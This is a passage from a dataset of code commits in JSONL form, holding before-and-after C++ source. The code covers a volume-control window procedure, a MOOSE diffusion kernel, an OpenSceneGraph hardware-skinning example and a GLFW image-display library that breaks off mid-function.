NULL, NULL);\n break;\n }\n\n \/* Device menu items *\/\n if ((menuItem & MENU_DEVICE) > 0) {\n int device = menuItem & 0x0FFF;\n VolumeController::DeviceInfo selectedDev = _deviceList[device];\n if (selectedDev.id != _volumeCtrl->DeviceId()) {\n \/* A different device has been selected *\/\n CLOG(L\"Changing to volume device: %s\",\n selectedDev.name.c_str());\n _volumeCtrl->SelectDevice(selectedDev.id);\n UpdateDeviceMenu();\n UpdateVolumeState();\n }\n }\n }\n\n return DefWindowProc(hWnd, message, wParam, lParam);\n}<|endoftext|>"} {"text":"<commit_before>\/****************************************************************\/\n\/* DO NOT MODIFY THIS HEADER *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment *\/\n\/* *\/\n\/* (c) 2010 Battelle Energy Alliance, LLC *\/\n\/* ALL RIGHTS RESERVED *\/\n\/* *\/\n\/* Prepared by Battelle Energy Alliance, LLC *\/\n\/* Under Contract No. DE-AC07-05ID14517 *\/\n\/* With the U. S. Department of Energy *\/\n\/* *\/\n\/* See COPYRIGHT for full restrictions *\/\n\/****************************************************************\/\n\n#include \"ExampleDiffusion.h\"\n\n\/\/ If we use a material pointer we need to include the\n\/\/ material class\n#include \"Material.h\"\n\n\/**\n * This function defines the valid parameters for\n * this Kernel and their default values\n *\/\ntemplate<>\nInputParameters validParams<ExampleDiffusion>()\n{\n InputParameters params = validParams<Diffusion>();\n return params;\n}\n\n\nExampleDiffusion::ExampleDiffusion(const std::string & name,\n InputParameters parameters)\n :Diffusion(name,parameters),\n _diffusivity(getMaterialProperty<Real>(\"diffusivity\"))\n{}\n\nReal\nExampleDiffusion::computeQpResidual()\n{\n \/\/ We're dereferencing the _diffusivity pointer to get to the\n \/\/ material properties vector... which gives us one property\n \/\/ value per quadrature point.\n\n \/\/ Also... we're reusing the Diffusion Kernel's residual\n \/\/ so that we don't have to recode that.\n return _diffusivity[_qp]*Diffusion::computeQpResidual();\n}\n\nReal\nExampleDiffusion::computeQpJacobian()\n{\n \/\/ We're dereferencing the _diffusivity pointer to get to the\n \/\/ material properties vector... which gives us one property\n \/\/ value per quadrature point.\n\n \/\/ Also... we're reusing the Diffusion Kernel's residual\n \/\/ so that we don't have to recode that.\n return _diffusivity[_qp]*Diffusion::computeQpJacobian();\n}\n<commit_msg>No longer need to #include \"Material.h\" in this file.<commit_after>\/****************************************************************\/\n\/* DO NOT MODIFY THIS HEADER *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment *\/\n\/* *\/\n\/* (c) 2010 Battelle Energy Alliance, LLC *\/\n\/* ALL RIGHTS RESERVED *\/\n\/* *\/\n\/* Prepared by Battelle Energy Alliance, LLC *\/\n\/* Under Contract No. DE-AC07-05ID14517 *\/\n\/* With the U. S. Department of Energy *\/\n\/* *\/\n\/* See COPYRIGHT for full restrictions *\/\n\/****************************************************************\/\n\n#include \"ExampleDiffusion.h\"\n\n\/**\n * This function defines the valid parameters for\n * this Kernel and their default values\n *\/\ntemplate<>\nInputParameters validParams<ExampleDiffusion>()\n{\n InputParameters params = validParams<Diffusion>();\n return params;\n}\n\n\nExampleDiffusion::ExampleDiffusion(const std::string & name,\n InputParameters parameters)\n :Diffusion(name,parameters),\n _diffusivity(getMaterialProperty<Real>(\"diffusivity\"))\n{}\n\nReal\nExampleDiffusion::computeQpResidual()\n{\n \/\/ We're dereferencing the _diffusivity pointer to get to the\n \/\/ material properties vector... which gives us one property\n \/\/ value per quadrature point.\n\n \/\/ Also... we're reusing the Diffusion Kernel's residual\n \/\/ so that we don't have to recode that.\n return _diffusivity[_qp]*Diffusion::computeQpResidual();\n}\n\nReal\nExampleDiffusion::computeQpJacobian()\n{\n \/\/ We're dereferencing the _diffusivity pointer to get to the\n \/\/ material properties vector... which gives us one property\n \/\/ value per quadrature point.\n\n \/\/ Also... we're reusing the Diffusion Kernel's residual\n \/\/ so that we don't have to recode that.\n return _diffusivity[_qp]*Diffusion::computeQpJacobian();\n}\n<|endoftext|>"} {"text":"<commit_before>\/* -*-c++-*-\n * Copyright (C) 2009 Cedric Pinson <cedric.pinson@plopbyte.net>\n *\n * This library is open source and may be redistributed and\/or modified under\n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or\n * (at your option) any later version. The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * OpenSceneGraph Public License for more details.\n*\/\n\n#include <iostream>\n#include <osgDB\/ReadFile>\n#include <osgViewer\/ViewerEventHandlers>\n#include <osgGA\/TrackballManipulator>\n#include <osgGA\/FlightManipulator>\n#include <osgGA\/DriveManipulator>\n#include <osgGA\/KeySwitchMatrixManipulator>\n#include <osgGA\/StateSetManipulator>\n#include <osgGA\/AnimationPathManipulator>\n#include <osgGA\/TerrainManipulator>\n#include <osg\/Drawable>\n#include <osg\/MatrixTransform>\n\n#include <osgAnimation\/BasicAnimationManager>\n#include <osgAnimation\/RigGeometry>\n#include <osgAnimation\/RigTransformHardware>\n#include <osgAnimation\/MorphGeometry>\n#include <osgAnimation\/MorphTransformHardware>\n#include <osgAnimation\/AnimationManagerBase>\n#include <osgAnimation\/BoneMapVisitor>\n\n#include <sstream>\n\n\nstatic unsigned int getRandomValueinRange(unsigned int v)\n{\n return static_cast<unsigned int>((rand() * 1.0 * v)\/(RAND_MAX-1));\n}\n\n\n\/\/osg::ref_ptr<osg::Program> program;\n\/\/ show how to override the default RigTransformHardware for customized usage\nstruct MyRigTransformHardware : public osgAnimation::RigTransformHardware\n{\n\n virtual bool init(osgAnimation::RigGeometry& rig)\n {\n if(!rig.getSkeleton() && !rig.getParents().empty())\n {\n osgAnimation::RigGeometry::FindNearestParentSkeleton finder;\n if(rig.getParents().size() > 1)\n osg::notify(osg::WARN) << \"A RigGeometry should not have multi parent ( \" << rig.getName() << \" )\" << std::endl;\n rig.getParents()[0]->accept(finder);\n\n if(!finder._root.valid())\n {\n osg::notify(osg::WARN) << \"A RigGeometry did not find a parent skeleton for RigGeometry ( \" << rig.getName() << \" )\" << std::endl;\n return false;\n }\n rig.setSkeleton(finder._root.get());\n }\n osgAnimation::BoneMapVisitor mapVisitor;\n rig.getSkeleton()->accept(mapVisitor);\n osgAnimation::BoneMap boneMap = mapVisitor.getBoneMap();\n\n if (!buildPalette(boneMap,rig) )\n return false;\n\n osg::Geometry& source = *rig.getSourceGeometry();\n osg::Vec3Array* positionSrc = dynamic_cast<osg::Vec3Array*>(source.getVertexArray());\n if (!positionSrc)\n {\n OSG_WARN << \"RigTransformHardware no vertex array in the geometry \" << rig.getName() << std::endl;\n return false;\n }\n\n \/\/ copy shallow from source geometry to rig\n rig.copyFrom(source);\n\n osg::ref_ptr<osg::Program> program ;\n osg::ref_ptr<osg::Shader> vertexshader;\n osg::ref_ptr<osg::StateSet> stateset = rig.getOrCreateStateSet();\n\n \/\/grab geom source program and vertex shader if _shader is not setted\n if(!_shader.valid() && (program = (osg::Program*)stateset->getAttribute(osg::StateAttribute::PROGRAM)))\n {\n for(unsigned int i=0; i<program->getNumShaders(); ++i)\n if(program->getShader(i)->getType()==osg::Shader::VERTEX)\n {\n vertexshader=program->getShader(i);\n program->removeShader(vertexshader);\n\n }\n }\n else\n {\n program = new osg::Program;\n program->setName(\"HardwareSkinning\");\n }\n \/\/set default source if _shader is not user setted\n if (!vertexshader.valid())\n {\n if (!_shader.valid())\n vertexshader = osg::Shader::readShaderFile(osg::Shader::VERTEX,\"shaders\/skinning.vert\");\n else vertexshader=_shader;\n }\n\n\n if (!vertexshader.valid())\n {\n OSG_WARN << \"RigTransformHardware can't load VertexShader\" << std::endl;\n return false;\n }\n\n \/\/ replace max matrix by the value from uniform\n {\n std::string str = vertexshader->getShaderSource();\n std::string toreplace = std::string(\"MAX_MATRIX\");\n std::size_t start = str.find(toreplace);\n if (std::string::npos != start)\n {\n std::stringstream ss;\n ss << getMatrixPaletteUniform()->getNumElements();\n str.replace(start, toreplace.size(), ss.str());\n vertexshader->setShaderSource(str);\n }\n else\n {\n OSG_INFO<< \"MAX_MATRIX not found in Shader! \" << str << std::endl;\n }\n OSG_INFO << \"Shader \" << str << std::endl;\n }\n\n unsigned int attribIndex = 11;\n unsigned int nbAttribs = getNumVertexAttrib();\n if(nbAttribs==0)\n OSG_WARN << \"nbAttribs== \" << nbAttribs << std::endl;\n for (unsigned int i = 0; i < nbAttribs; i++)\n {\n std::stringstream ss;\n ss << \"boneWeight\" << i;\n program->addBindAttribLocation(ss.str(), attribIndex + i);\n\n if(getVertexAttrib(i)->getNumElements()!=_nbVertices)\n OSG_WARN << \"getVertexAttrib== \" << getVertexAttrib(i)->getNumElements() << std::endl;\n rig.setVertexAttribArray(attribIndex + i, getVertexAttrib(i));\n OSG_INFO << \"set vertex attrib \" << ss.str() << std::endl;\n }\n\n\n program->addShader(vertexshader.get());\n stateset->removeUniform(\"nbBonesPerVertex\");\n stateset->addUniform(new osg::Uniform(\"nbBonesPerVertex\",_bonesPerVertex));\n stateset->removeUniform(\"matrixPalette\");\n stateset->addUniform(getMatrixPaletteUniform());\n\n stateset->removeAttribute(osg::StateAttribute::PROGRAM);\n if(!stateset->getAttribute(osg::StateAttribute::PROGRAM))\n stateset->setAttributeAndModes(program.get());\n\n _needInit = false;\n return true;\n }\n\n};\n\n\nstruct SetupRigGeometry : public osg::NodeVisitor\n{\n bool _hardware;\n SetupRigGeometry( bool hardware = true) : osg::NodeVisitor(osg::NodeVisitor::TRAVERSE_ALL_CHILDREN), _hardware(hardware) {}\n\n void apply(osg::Geode& geode)\n {\n for (unsigned int i = 0; i < geode.getNumDrawables(); i++)\n apply(*geode.getDrawable(i));\n }\n void apply(osg::Drawable& geom)\n {\n if (_hardware)\n {\n osgAnimation::RigGeometry* rig = dynamic_cast<osgAnimation::RigGeometry*>(&geom);\n if (rig){\n rig->setRigTransformImplementation(new MyRigTransformHardware);\n osgAnimation::MorphGeometry *morph=dynamic_cast<osgAnimation::MorphGeometry*>(rig->getSourceGeometry());\n if(morph)morph->setMorphTransformImplementation(new osgAnimation::MorphTransformHardware);\n }\n }\n\n#if 0\n if (geom.getName() != std::string(\"BoundingBox\")) \/\/ we disable compute of bounding box for all geometry except our bounding box\n geom.setComputeBoundingBoxCallback(new osg::Drawable::ComputeBoundingBoxCallback);\n\/\/ geom.setInitialBound(new osg::Drawable::ComputeBoundingBoxCallback);\n#endif\n }\n};\n\nosg::Group* createCharacterInstance(osg::Group* character, bool hardware)\n{\n osg::ref_ptr<osg::Group> c ;\n if (hardware)\n c = osg::clone(character, osg::CopyOp::DEEP_COPY_ALL & ~osg::CopyOp::DEEP_COPY_PRIMITIVES & ~osg::CopyOp::DEEP_COPY_ARRAYS);\n else\n c = osg::clone(character, osg::CopyOp::DEEP_COPY_ALL);\n\n osgAnimation::AnimationManagerBase* animationManager = dynamic_cast<osgAnimation::AnimationManagerBase*>(c->getUpdateCallback());\n\n osgAnimation::BasicAnimationManager* anim = dynamic_cast<osgAnimation::BasicAnimationManager*>(animationManager);\n const osgAnimation::AnimationList& list = animationManager->getAnimationList();\n int v = getRandomValueinRange(list.size());\n if (list[v]->getName() == std::string(\"MatIpo_ipo\"))\n {\n anim->playAnimation(list[v].get());\n v = (v + 1)%list.size();\n }\n\n anim->playAnimation(list[v].get());\n\n SetupRigGeometry switcher(hardware);\n c->accept(switcher);\n\n return c.release();\n}\n\n\nint main (int argc, char* argv[])\n{\n std::cerr << \"This example works better with nathan.osg\" << std::endl;\n\n osg::ArgumentParser psr(&argc, argv);\n\n osgViewer::Viewer viewer(psr);\n\n bool hardware = true;\n int maxChar = 10;\n while (psr.read(\"--software\"))\n {\n hardware = false;\n }\n while (psr.read(\"--number\", maxChar)) {}\n\n osg::ref_ptr<osg::Node> node = osgDB::readRefNodeFiles(psr);\n osg::ref_ptr<osg::Group> root = dynamic_cast<osg::Group*>(node.get());\n if (!root)\n {\n std::cout << psr.getApplicationName() <<\": No data loaded\" << std::endl;\n return 1;\n }\n\n {\n osgAnimation::AnimationManagerBase* animationManager = dynamic_cast<osgAnimation::AnimationManagerBase*>(root->getUpdateCallback());\n if(!animationManager)\n {\n osg::notify(osg::FATAL) << \"no AnimationManagerBase found, updateCallback need to animate elements\" << std::endl;\n return 1;\n }\n }\n\n\n osg::ref_ptr<osg::Group> scene = new osg::Group;\n\n \/\/ add the state manipulator\n viewer.addEventHandler( new osgGA::StateSetManipulator(viewer.getCamera()->getOrCreateStateSet()) );\n\n \/\/ add the thread model handler\n viewer.addEventHandler(new osgViewer::ThreadingHandler);\n\n \/\/ add the window size toggle handler\n viewer.addEventHandler(new osgViewer::WindowSizeHandler);\n\n \/\/ add the stats handler\n viewer.addEventHandler(new osgViewer::StatsHandler);\n\n \/\/ add the help handler\n viewer.addEventHandler(new osgViewer::HelpHandler(psr.getApplicationUsage()));\n\n \/\/ add the LOD Scale handler\n viewer.addEventHandler(new osgViewer::LODScaleHandler);\n\n \/\/ add the screen capture handler\n viewer.addEventHandler(new osgViewer::ScreenCaptureHandler);\n\n viewer.setSceneData(scene.get());\n\n viewer.realize();\n\n double xChar = maxChar;\n double yChar = xChar * 9.0\/16;\n for (double i = 0.0; i < xChar; i++)\n {\n for (double j = 0.0; j < yChar; j++)\n {\n\n osg::ref_ptr<osg::Group> c = createCharacterInstance(root.get(), hardware);\n osg::MatrixTransform* tr = new osg::MatrixTransform;\n tr->setMatrix(osg::Matrix::translate( 2.0 * (i - xChar * .5),\n 0.0,\n 2.0 * (j - yChar * .5)));\n tr->addChild(c.get());\n scene->addChild(tr);\n }\n }\n std::cout << \"created \" << xChar * yChar << \" instance\" << std::endl;\n\n\n return viewer.run();\n}\n\n\n<commit_msg>update example to use a common program<commit_after>\/* -*-c++-*-\n * Copyright (C) 2009 Cedric Pinson <cedric.pinson@plopbyte.net>\n *\n * This library is open source and may be redistributed and\/or modified under\n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or\n * (at your option) any later version. The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * OpenSceneGraph Public License for more details.\n*\/\n\n#include <iostream>\n#include <osgDB\/ReadFile>\n#include <osgViewer\/ViewerEventHandlers>\n#include <osgGA\/TrackballManipulator>\n#include <osgGA\/FlightManipulator>\n#include <osgGA\/DriveManipulator>\n#include <osgGA\/KeySwitchMatrixManipulator>\n#include <osgGA\/StateSetManipulator>\n#include <osgGA\/AnimationPathManipulator>\n#include <osgGA\/TerrainManipulator>\n#include <osg\/Drawable>\n#include <osg\/MatrixTransform>\n\n#include <osgAnimation\/BasicAnimationManager>\n#include <osgAnimation\/RigGeometry>\n#include <osgAnimation\/RigTransformHardware>\n#include <osgAnimation\/MorphGeometry>\n#include <osgAnimation\/MorphTransformHardware>\n#include <osgAnimation\/AnimationManagerBase>\n#include <osgAnimation\/BoneMapVisitor>\n\n#include <sstream>\n\n\nstatic unsigned int getRandomValueinRange(unsigned int v)\n{\n return static_cast<unsigned int>((rand() * 1.0 * v)\/(RAND_MAX-1));\n}\n\n\nosg::ref_ptr<osg::Program> CommonProgram;\n\/\/ show how to override the default RigTransformHardware for customized usage\nstruct MyRigTransformHardware : public osgAnimation::RigTransformHardware\n{\n int _maxmatrix;\n MyRigTransformHardware() : _maxmatrix(99){}\n virtual bool init(osgAnimation::RigGeometry& rig)\n {\n if(_perVertexInfluences.empty())\n {\n prepareData(rig);\n return false;\n }\n if(!rig.getSkeleton())\n return false;\n\n osgAnimation::BoneMapVisitor mapVisitor;\n rig.getSkeleton()->accept(mapVisitor);\n osgAnimation::BoneMap boneMap = mapVisitor.getBoneMap();\n\n if (!buildPalette(boneMap,rig) )\n return false;\n\n osg::Geometry& source = *rig.getSourceGeometry();\n osg::Vec3Array* positionSrc = dynamic_cast<osg::Vec3Array*>(source.getVertexArray());\n\n if (!positionSrc)\n {\n OSG_WARN << \"RigTransformHardware no vertex array in the geometry \" << rig.getName() << std::endl;\n return false;\n }\n\n \/\/ copy shallow from source geometry to rig\n rig.copyFrom(source);\n\n osg::ref_ptr<osg::Shader> vertexshader;\n osg::ref_ptr<osg::StateSet> stateset = rig.getOrCreateStateSet();\n if(!CommonProgram.valid()){\n CommonProgram = new osg::Program;\n CommonProgram->setName(\"HardwareSkinning\");\n\n \/\/set default source if _shader is not user setted\n if (!vertexshader.valid())\n {\n vertexshader = osg::Shader::readShaderFile(osg::Shader::VERTEX,\"skinning.vert\");\n }\n\n if (!vertexshader.valid())\n {\n OSG_WARN << \"RigTransformHardware can't load VertexShader\" << std::endl;\n return false;\n }\n\n \/\/ replace max matrix by the value from uniform\n {\n std::string str = vertexshader->getShaderSource();\n std::string toreplace = std::string(\"MAX_MATRIX\");\n std::size_t start = str.find(toreplace);\n if (std::string::npos != start)\n {\n std::stringstream ss;\n ss << _maxmatrix;\/\/getMatrixPaletteUniform()->getNumElements();\n str.replace(start, toreplace.size(), ss.str());\n vertexshader->setShaderSource(str);\n }\n else\n {\n OSG_WARN<< \"MAX_MATRIX not found in Shader! \" << str << std::endl;\n }\n OSG_INFO << \"Shader \" << str << std::endl;\n }\n CommonProgram->addShader(vertexshader.get());\n }\n unsigned int nbAttribs = getNumVertexAttrib();\n for (unsigned int i = 0; i < nbAttribs; i++)\n {\n std::stringstream ss;\n ss << \"boneWeight\" << i;\n CommonProgram->addBindAttribLocation(ss.str(), _minAttribIndex + i);\n rig.setVertexAttribArray(_minAttribIndex + i, getVertexAttrib(i));\n OSG_INFO << \"set vertex attrib \" << ss.str() << std::endl;\n }\n\n\n stateset->removeUniform(\"nbBonesPerVertex\");\n stateset->addUniform(new osg::Uniform(\"nbBonesPerVertex\",_bonesPerVertex));\n\n stateset->removeUniform(\"matrixPalette\");\n stateset->addUniform(_uniformMatrixPalette);\n\n stateset->setAttribute(CommonProgram.get());\n\n _needInit = false;\n return true;\n }\n\n};\n\n\nstruct SetupRigGeometry : public osg::NodeVisitor\n{\n bool _hardware;\n SetupRigGeometry( bool hardware = true) : osg::NodeVisitor(osg::NodeVisitor::TRAVERSE_ALL_CHILDREN), _hardware(hardware) {}\n\n void apply(osg::Geode& geode)\n {\n for (unsigned int i = 0; i < geode.getNumDrawables(); i++)\n apply(*geode.getDrawable(i));\n }\n void apply(osg::Drawable& geom)\n {\n if (_hardware)\n {\n osgAnimation::RigGeometry* rig = dynamic_cast<osgAnimation::RigGeometry*>(&geom);\n if (rig){\n rig->setRigTransformImplementation(new MyRigTransformHardware);\n osgAnimation::MorphGeometry *morph=dynamic_cast<osgAnimation::MorphGeometry*>(rig->getSourceGeometry());\n if(morph)morph->setMorphTransformImplementation(new osgAnimation::MorphTransformHardware);\n }\n }\n\n#if 0\n if (geom.getName() != std::string(\"BoundingBox\")) \/\/ we disable compute of bounding box for all geometry except our bounding box\n geom.setComputeBoundingBoxCallback(new osg::Drawable::ComputeBoundingBoxCallback);\n\/\/ geom.setInitialBound(new osg::Drawable::ComputeBoundingBoxCallback);\n#endif\n }\n};\n\nosg::Group* createCharacterInstance(osg::Group* character, bool hardware)\n{\n osg::ref_ptr<osg::Group> c ;\n if (hardware)\n c = osg::clone(character, osg::CopyOp::DEEP_COPY_ALL & ~osg::CopyOp::DEEP_COPY_PRIMITIVES & ~osg::CopyOp::DEEP_COPY_ARRAYS);\n else\n c = osg::clone(character, osg::CopyOp::DEEP_COPY_ALL);\n\n osgAnimation::AnimationManagerBase* animationManager = dynamic_cast<osgAnimation::AnimationManagerBase*>(c->getUpdateCallback());\n\n osgAnimation::BasicAnimationManager* anim = dynamic_cast<osgAnimation::BasicAnimationManager*>(animationManager);\n const osgAnimation::AnimationList& list = animationManager->getAnimationList();\n int v = getRandomValueinRange(list.size());\n if (list[v]->getName() == std::string(\"MatIpo_ipo\"))\n {\n anim->playAnimation(list[v].get());\n v = (v + 1)%list.size();\n }\n\n anim->playAnimation(list[v].get());\n\n SetupRigGeometry switcher(hardware);\n c->accept(switcher);\n\n return c.release();\n}\n\n\nint main (int argc, char* argv[])\n{\n std::cerr << \"This example works better with nathan.osg\" << std::endl;\n\n osg::ArgumentParser psr(&argc, argv);\n\n osgViewer::Viewer viewer(psr);\n\n bool hardware = true;\n int maxChar = 10;\n while (psr.read(\"--software\"))\n {\n hardware = false;\n }\n while (psr.read(\"--number\", maxChar)) {}\n\n osg::ref_ptr<osg::Node> node = osgDB::readRefNodeFiles(psr);\n osg::ref_ptr<osg::Group> root = dynamic_cast<osg::Group*>(node.get());\n if (!root)\n {\n std::cout << psr.getApplicationName() <<\": No data loaded\" << std::endl;\n return 1;\n }\n\n {\n osgAnimation::AnimationManagerBase* animationManager = dynamic_cast<osgAnimation::AnimationManagerBase*>(root->getUpdateCallback());\n if(!animationManager)\n {\n osg::notify(osg::FATAL) << \"no AnimationManagerBase found, updateCallback need to animate elements\" << std::endl;\n return 1;\n }\n }\n\n\n osg::ref_ptr<osg::Group> scene = new osg::Group;\n\n \/\/ add the state manipulator\n viewer.addEventHandler( new osgGA::StateSetManipulator(viewer.getCamera()->getOrCreateStateSet()) );\n\n \/\/ add the thread model handler\n viewer.addEventHandler(new osgViewer::ThreadingHandler);\n\n \/\/ add the window size toggle handler\n viewer.addEventHandler(new osgViewer::WindowSizeHandler);\n\n \/\/ add the stats handler\n viewer.addEventHandler(new osgViewer::StatsHandler);\n\n \/\/ add the help handler\n viewer.addEventHandler(new osgViewer::HelpHandler(psr.getApplicationUsage()));\n\n \/\/ add the LOD Scale handler\n viewer.addEventHandler(new osgViewer::LODScaleHandler);\n\n \/\/ add the screen capture handler\n viewer.addEventHandler(new osgViewer::ScreenCaptureHandler);\n\n viewer.setSceneData(scene.get());\n\n viewer.realize();\n\n double xChar = maxChar;\n double yChar = xChar * 9.0\/16;\n for (double i = 0.0; i < xChar; i++)\n {\n for (double j = 0.0; j < yChar; j++)\n {\n\n osg::ref_ptr<osg::Group> c = createCharacterInstance(root.get(), hardware);\n osg::MatrixTransform* tr = new osg::MatrixTransform;\n tr->setMatrix(osg::Matrix::translate( 2.0 * (i - xChar * .5),\n 0.0,\n 2.0 * (j - yChar * .5)));\n tr->addChild(c.get());\n scene->addChild(tr);\n }\n }\n std::cout << \"created \" << xChar * yChar << \" instance\" << std::endl;\n\n\n return viewer.run();\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n MIT License\n\n Copyright (c) 2017 Leonid Keselman\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n https:\/\/github.com\/leonidk\/imshow\/blob\/master\/LICENSE\n\n *\/\n\n#include \"imshow\/imshow.h\"\n#include <GLFW\/glfw3.h>\n#include <mutex>\n#include <unordered_map>\n#include <string>\n#include <stdint.h>\n#include <memory>\n#include <iostream>\n#include <vector>\n\n#pragma comment( lib, \"opengl32\" )\n\nnamespace glfw\n{\nchar g_key;\nbool g_key_update = false;\nbool g_close = true;\n\nstd::mutex g_mutex;\nstruct winState\n{\n GLFWwindow* win;\n GLuint tex;\n Image image;\n int x, y; \/\/ screen position\n};\nstd::unordered_map<std::string, winState> g_windows;\n\nstatic winState * getWindowState(GLFWwindow *window)\n{\n for (auto & win : g_windows)\n {\n if (win.second.win == window)\n {\n return &win.second;\n }\n }\n return nullptr;\n}\n\nstatic void render_callback(GLFWwindow * window)\n{\n glPushAttrib(GL_ALL_ATTRIB_BITS);\n glPushMatrix();\n\n glEnable(GL_TEXTURE_2D);\n glEnable(GL_ALPHA);\n\n glClearColor(0, 0, 0, 1.0f);\n glClear(GL_COLOR_BUFFER_BIT);\n\n {\n const auto win = getWindowState(window);\n glBindTexture(GL_TEXTURE_2D, win->tex);\n\n glBegin(GL_QUADS);\n glTexCoord2f(0, 1);\n glVertex2f(-1, -1);\n glTexCoord2f(1, 1);\n glVertex2f(1, -1);\n glTexCoord2f(1, 0);\n glVertex2f(1, 1);\n glTexCoord2f(0, 0);\n glVertex2f(-1, 1);\n glEnd();\n\n glBindTexture(GL_TEXTURE_2D, 0);\n }\n\n glDisable(GL_TEXTURE_2D);\n glDisable(GL_ALPHA);\n\n glPopMatrix();\n glPopAttrib();\n}\n\nstatic void position_callback(GLFWwindow *window, int x, int y)\n{\n if(auto win = getWindowState(window))\n {\n win->x = x;\n win->y = y;\n }\n}\n\nstatic void focus_callback(GLFWwindow *window, int focus)\n{\n if(focus)\n {\n glfwMakeContextCurrent(window);\n render_callback(window);\n glfwSwapBuffers(window);\n }\n}\n\nstatic void key_callback(GLFWwindow* window, int key, int scancode, int action, int mods)\n{\n if (action == GLFW_PRESS)\n {\n g_key = tolower(key);\n g_key_update = true;\n }\n}\nstatic void framebuffer_size_callback(GLFWwindow* window, int width, int height)\n{\n const auto win = getWindowState(window);\n const float wScale = ((float)width) \/ ((float)win->image.width);\n const float hScale = ((float)height) \/ ((float)win->image.height);\n const float minScale = (wScale < hScale) ? wScale : hScale;\n const int wShift = (int)nearbyint((width - minScale*win->image.width) \/ 2.0f);\n const int hShift = (int)nearbyint((height - minScale*win->image.height) \/ 2.0f);\n\n glfwMakeContextCurrent(window);\n glViewport(wShift, hShift, (int)nearbyint(win->image.width*minScale), (int)nearbyint(win->image.height*minScale));\n render_callback(window);\n glfwSwapBuffers(window);\n}\n\nstatic void refresh_callback(GLFWwindow *window)\n{\n glfwMakeContextCurrent(window);\n render_callback(window);\n glfwSwapBuffers(window);\n}\n\nstatic void window_close_callback(GLFWwindow *window)\n{\n \/\/ For a key update for the main loop\n g_close = true;\n glfwMakeContextCurrent(window);\n glfwSetWindowShouldClose(window, GLFW_TRUE);\n glfwPostEmptyEvent();\n}\n\nstatic void eraseWindow(std::unordered_map<std::string, winState>::const_iterator iter)\n{\n \/\/ Always invalidate window with existing name\n glfwMakeContextCurrent(iter->second.win);\n glfwDestroyWindow(iter->second.win);\n glDeleteTextures(1,&iter->second.tex);\n g_windows.erase(iter);\n}\n\nstatic void eraseWindow(const char *name)\n{\n auto iter = g_windows.find(name);\n if(iter != g_windows.end())\n {\n eraseWindow(iter);\n }\n}\n\nvoid imshow(const char * name, const Image & img)\n{\n std::unique_lock<std::mutex> lock(g_mutex);\n\n if(g_windows.empty())\n {\n glfwInit();\n }\n\n std::string s_name(name);\n\n bool hasWindow = false;\n int x, y;\n\n auto iter = g_windows.find(s_name);\n if(iter != g_windows.end())\n {\n hasWindow = true;\n x = iter->second.x;\n y = iter->second.y;\n\n eraseWindow(iter);\n iter = g_windows.end();\n }\n\n if (iter == g_windows.end())\n {\n \/\/ OS X:\n \/\/ * must create window prior to glGenTextures on OS X\n \/\/ * glfw complains w\/ the following error on >= 10.12\n auto window = glfwCreateWindow(img.width, img.height, s_name.c_str(), NULL, NULL);\n\n glfwMakeContextCurrent(window);\n\n glfwSetKeyCallback(window, key_callback);\n glfwSetFramebufferSizeCallback(window, framebuffer_size_callback);\n glfwSetWindowRefreshCallback(window, render_callback);\n glfwSetWindowFocusCallback(window, focus_callback);\n glfwSetWindowPosCallback(window, position_callback);\n glfwSetWindowRefreshCallback(window, refresh_callback);\n glfwSetWindowCloseCallback(window, window_close_callback);\n\n GLuint tex;\n glGenTextures(1, &tex);\n\n if(hasWindow)\n {\n glfwSetWindowPos(window, x, y);\n }\n else\n {\n glfwGetWindowPos(window, &x, &y);\n }\n g_windows[s_name] = {window, tex, img, x, y};\n }\n\n GLuint format, type;\n switch (img.type)\n {\n case IM_8U:\n type = GL_UNSIGNED_BYTE;\n break;\n case IM_8I:\n type = GL_BYTE;\n break;\n case IM_16U:\n type = GL_UNSIGNED_SHORT;\n break;\n case IM_16I:\n type = GL_SHORT;\n break;\n case IM_32U:\n type = GL_UNSIGNED_INT;\n break;\n case IM_32I:\n type = GL_INT;\n break;\n case IM_32F:\n type = GL_FLOAT;\n break;\n case IM_64F:\n type = GL_DOUBLE;\n break;\n default:\n return;\n }\n switch (img.channels)\n {\n case 0:\n case 1:\n format = GL_LUMINANCE;\n break;\n case 2:\n format = GL_LUMINANCE_ALPHA;\n break;\n case 3:\n format = GL_BGR;\n break;\n case 4:\n format = GL_BGRA;\n break;\n }\n\n auto window = g_windows[s_name];\n glfwMakeContextCurrent(window.win);\n\n glPixelStorei(GL_UNPACK_ALIGNMENT, 1);\n glBindTexture(GL_TEXTURE_2D, window.tex);\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA8, img.width, img.height, 0, format, type, img.data);\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n 